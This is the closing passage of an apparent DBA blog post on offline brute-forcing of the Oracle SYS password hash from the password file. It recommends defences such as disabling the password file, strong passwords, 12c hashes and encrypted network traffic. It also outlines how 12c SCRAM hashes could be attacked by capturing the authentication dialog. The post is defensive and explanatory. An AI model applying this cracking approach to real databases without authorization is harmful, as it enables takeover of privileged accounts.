Oracle Database 12c Enterprise Edition Release 12.2.0.1.0 - 64bit Production

SQL>

In this blog post, I described how to brute force SYS password that is stored in the password file without trying to connect number of times to the database and lock account etc. Please note that, I didn’t read at any time the USER$ table too.

To avoid this, you can simply disable password file usage by setting remote_login_passwordfile to NONE and remove this password file. You can set a SYS password  that is not weak (or use a password function with a profile etc.), there are too many customers that are still setting sys password to oracle, oracle123 or welcome1 ….

Finally, I didn’t write anything about the 12c hash (SHA512) because it’s a bit more complicated. Oracle 12c used a SCRAM authentication dialog, so first, you have to listen to the client/server network dialog, get some authentication keys and then run your own script. More, the 12c hash generation process uses PBKDF2 key derivation function that is a de-optimized function. As a consequence, it will slow down the execution rate of your script. So if you want to secure your 12c authentication process and avoid password brute force, you have to use only a 12c hash password (in your password file and into USER$ table), encrypt your network dialog with AES192 algorithm (starting with 12c, it can be done even in Standard Edition), use non weak passwords.

I will terminate this blog post with the traditional disclaimer … use all that is written in this blog post (including scripts) at your own risk. If you use all this stuff to hack a SYS password without any authorization … you will be the only responsible for all the consequences ! 😉